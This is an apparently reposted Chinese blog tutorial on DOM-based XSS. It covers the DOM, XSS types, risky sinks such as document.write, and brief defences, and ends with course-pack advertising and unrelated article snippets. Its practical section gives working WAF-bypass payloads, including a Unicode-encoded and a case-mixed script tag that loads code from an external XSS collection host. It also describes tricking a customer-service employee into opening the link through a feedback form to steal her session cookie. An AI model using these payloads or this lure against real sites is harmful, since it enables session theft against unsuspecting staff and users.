DOM型XSS

devtools/2024/12/21 20:26:31/

前言

什么是DOM型XSS

DOM型XSS漏洞是一种特殊类型的XSS,是基于文档对象模型 Document Object Model (DOM)的一种漏洞。

 

什么是DOM

DOM全称Document Object Model,是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。

以一张w3c的图来说明,到底什么是dom:

1637801350_619edd86cac4519b92956.png!small?1637801350186

dom就是一个树状的模型,你可以编写Javascript代码根据dom一层一层的节点,去遍历/获取/修改对应的节点,对象,值。

通过Js去对网页进行修改,变化执行。

反射型XSS和储存型XSS以及Dom型XSS的特点:

反射型:
交互的数据一般不会被存在数据库中,一次性,所见即所得,一般出现在查询类页面等。

存储型:
交互的数据会被存在数据库中,永久性存储,一般出现在留言板,注册等页面。

DOM型:
不与后台服务器产生数据交互,是一种通过DOM操作前端代码输出的时候产生的问题,大部分属于反射型。

关于非持久型,持久型,Dom型xss

非持久型xss攻击:顾名思义,非持久型xss攻击是一次性的,仅对当次的页面访问产生影响。非持久型xss攻击要求用户访问一个被攻击者篡改后的链接,用户访问该链接时,被植入的攻击脚本被用户游览器执行,从而达到攻击目的。

持久型xss攻击:持久型xss,会把攻击者的数据存储在服务器端,攻击行为将伴随着攻击数据一直存在。

而Dom型xss属于有可能是持久也可能是非持久型。

什么是document 和 windows 对象

document表示的是一个文档对象,window表示的是一个窗口对象,一个窗口下可以有多个文档对象。document 只是属于window 的一个子对象。

DOM型XSS

Document 对象

每个载入浏览器的 HTML 文档都会成为 Document 对象。

Document 对象使我们可以从脚本中对 HTML 页面中的所有元素进行访问。

Document对象属性:

1637801979_619edffb536e966b5d6d6.png!small?1637801978591

Document 对象方法:

1637802085_619ee065f1425828f21dd.png!small?1637802085409

可能触发DOM型XSS的属性

document.referer属性

window.name属性

location属性

innerHTML属性

documen.write属性

Dom型XSS的危害:

DOM-XSS不经过服务端,只看服务端的日志和数据库,很难排查到

DOM-XSS一般是通杀浏览器的

DOM-XSS一般是被攻击的时候就执行了XSS,由于是前端DOM操作导致,很难留下痕迹

DOM型XSS的防御方法

  1. 避免将从客户端接收的数据用于客户端敏感操作,例如重写或重定向。
  2. 通过检查对构成威胁的 DOM 对象(例如 URL、位置和引用者)的引用来清理客户端代码。如果 DOM 可能被修改,这一点尤其重要。
  3. 使用能够检查入站 URL 参数并防止提供不适当页面的入侵防御系统。

DOM型XSS实战演练

1、进入漏洞页面

发现可疑点 /dom_xss/

1637811284_619f045404a9846284016.png!small?1637811283367

2.检查该可疑点的源代码

发现可能触发DOM型XSS的属性 document.write,它可向文档写入 HTML 表达式或 JavaScript 代码。

1637811827_619f06737e8996f4cbccd.png!small?1637811826815

3.测试注入

1)先在URL随便传个参?txtx=1234

发现在URL里输入的内容会通过document.write()方法将传参内容显示在HTML文档上。

1637813556_619f0d3484ef643e03e2d.png!small?1637813555867

2)传入恶意语句

?<script>alert(3114)</script>

发现WAF, 经测试,WAF拦截<script>标签、<img>标签、<a%20href=javascript>等。

1637823212_619f32ecbb948541f3566.png!small?1637823212354

3)尝试绕过WAF写入弹窗函数,并闭合语句

1) ?");alert(1314)//
2) index.php/1.txt?txtx=</script><script>alert(1314)</script>

页面弹窗,存在XSS漏洞

1637817911_619f1e37ba8f78b224fc7.png!small?1637817910895

1637818427_619f203b22584bc186183.png!small?1637818426225

4.XSS平台来获取COOKIE

(1)因为document.write() 可以接受native编码值,所以我们可以用native编码绕过WAF

1637825213_619f3abd313a74845089e.png!small?1637825212219

传入参数

?txtx=\u003c\u0073\u0043\u0052\u0069\u0050\u0074\u0020\u0073\u0052\u0043\u003d\u002f\u002f\u0068\u006b\u002e\u0073\u0062\u002f\u0043\u0045\u004c\u004b\u003e\u003c\u002f\u0073\u0043\u0072\u0049\u0070\u0054\u003e

1637825422_619f3b8e4d2b45685fcac.png!small?1637825421422

获取了本地COOKIE

1637825367_619f3b5711b0999fd7c2d.png!small?1637825366154

然后去后把网址提交到反馈栏里,让客服去访问

1637825676_619f3c8c64d4aa8d6bc6d.png!small?1637825675396

返回XSS平台,发现客服小姐姐已成功访问恶意的代码,得到她的COOKIE

1637825861_619f3d45eef592fdff56f.png!small?1637825861060

(2) 传入参数

index.php/1.txt?txtx=<sCRiPt%20sRC=//hk.sb/CELK></sCrIpT>

获取到了本地COOKIE

1637826202_619f3e9af27a332f81164.png!small?1637826202068

把网址提交到反馈栏里,让客服小姐姐去访问,得到客服的COOKIE

1637826406_619f3f66024294c1a63bf.png!small?1637826405037

网络安全学习资源分享:

给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,需要点击下方链接即可前往获取 

读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享安全链接,放心点击)

同时每个成长路线对应的板块都有配套的视频提供: 

大厂面试题

 

视频配套资料&国内外网安书籍、文档

当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料

所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或链接免费领取~ 

读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享安全链接,放心点击) 

特别声明:

此教程为纯技术分享!本教程的目的决不是为那些怀有不良动机的人提供及技术支持!也不承担因为技术被滥用所产生的连带责任!本教程的目的在于最大限度地唤醒大家对网络安全的重视,并采取相应的安全措施,从而减少由网络安全而带来的经济损失。


http://www.ppmy.cn/devtools/44600.html

相关文章

Django学习

1.pycharm社区版创建django PyCharm社区版如何创建Django项目并运行_pycharm社区版打开django-CSDN博客 2.Django TemplateDoesNotExist: rest_framework 当我们使用djangorestframework框架时&#xff0c;首先下载pip install djangorestframework 参考博文Django Templat…

如何下载b站(哔哩哔哩bilibili)的学习视频教程

方法1&#xff1a; 打开粘贴视频链接下载即可哔哩哔哩(bilibili)视频解析下载 - 保存B站视频到手机、电脑哔哩哔哩高清视频解析下载工具是一个免费的B站视频在线解析提取工具,支持提取B站APP和bilibili网站上的任何视频,提取出来的视频无水印.我们可以借助此下载器方便地将视频…

7-zip工具?这么好用的你都能找到!

关于7-Zip&#xff0c;这不是一个神奇的小工具吗&#xff1f;让我悄悄告诉你&#xff0c;它其实是个压缩界的隐形冠军哦。 想象一下&#xff0c;你下载了一堆文件&#xff0c;电脑空间却告急&#xff0c;这时候7-Zip就像你的小助手&#xff0c;帮你把文件们“瘦身”&#xff0…

uni-app App端实现文字语音播报(Ba-TTS)

前言 最近在遇到消息提示语音播放出来&#xff0c;查了一圈文档发现并没有自带api 后面想起支付宝收钱播报&#xff0c;不受限与系统环境和版本环境&#xff08;后面查阅他是音频实现的&#xff09; 如果是由安卓端需要语音播放功能-直接使用Ba-TTs救急&#xff08;需要付费2…

Pooling Sequencing

1、混合(Pooling)样本测序研究 https://www.jianshu.com/p/19ce438ccccf 1.1 混合测序基础 测序成本虽然下降了,但对于植物育种应用研究来说还是很高,动不动就上百群体,小小植物个体价值又低,测完了很可能后面就用不到了。这时,混合样本测序是一种省钱的好办法。 混池…

doxygen 1.11.0 使用详解(十四)——输出格式

目录 HTMLLATEXMan pagesRTFXMLDocBookCompiled HTML Help (a.k.a. Windows 98 help)Qt Compressed Help (.qch)Eclipse HelpXCode DocSetsPostScriptPDF The following output formats are directly supported by doxygen: HTML Generated if GENERATE_HTML is set to YES i…

Day36 贪心算法Part03

LC1005 K次取反后最大化的数组和(未掌握) 未掌握分析&#xff1a;贪心思维不够贪心思路&#xff1a; 局部最优&#xff1a;让绝对值大的负数变为正数&#xff0c;当前数值达到最大&#xff0c;整体最优&#xff1a;整个数组和达到最大。如果将负数都转变为正数了&#xff0c;K…

nginx学习记录-防盗链

1. 防盗链的概念 防盗链&#xff0c;顾名思义就是防止盗取链接&#xff0c;这里的链接一般是资源链接。 如图所示&#xff0c;我们访问一个网站时&#xff08;比如百度&#xff09;&#xff0c;我们第一个请求会获得一个html页面&#xff0c;页面中包含各种资源链接&#xff0…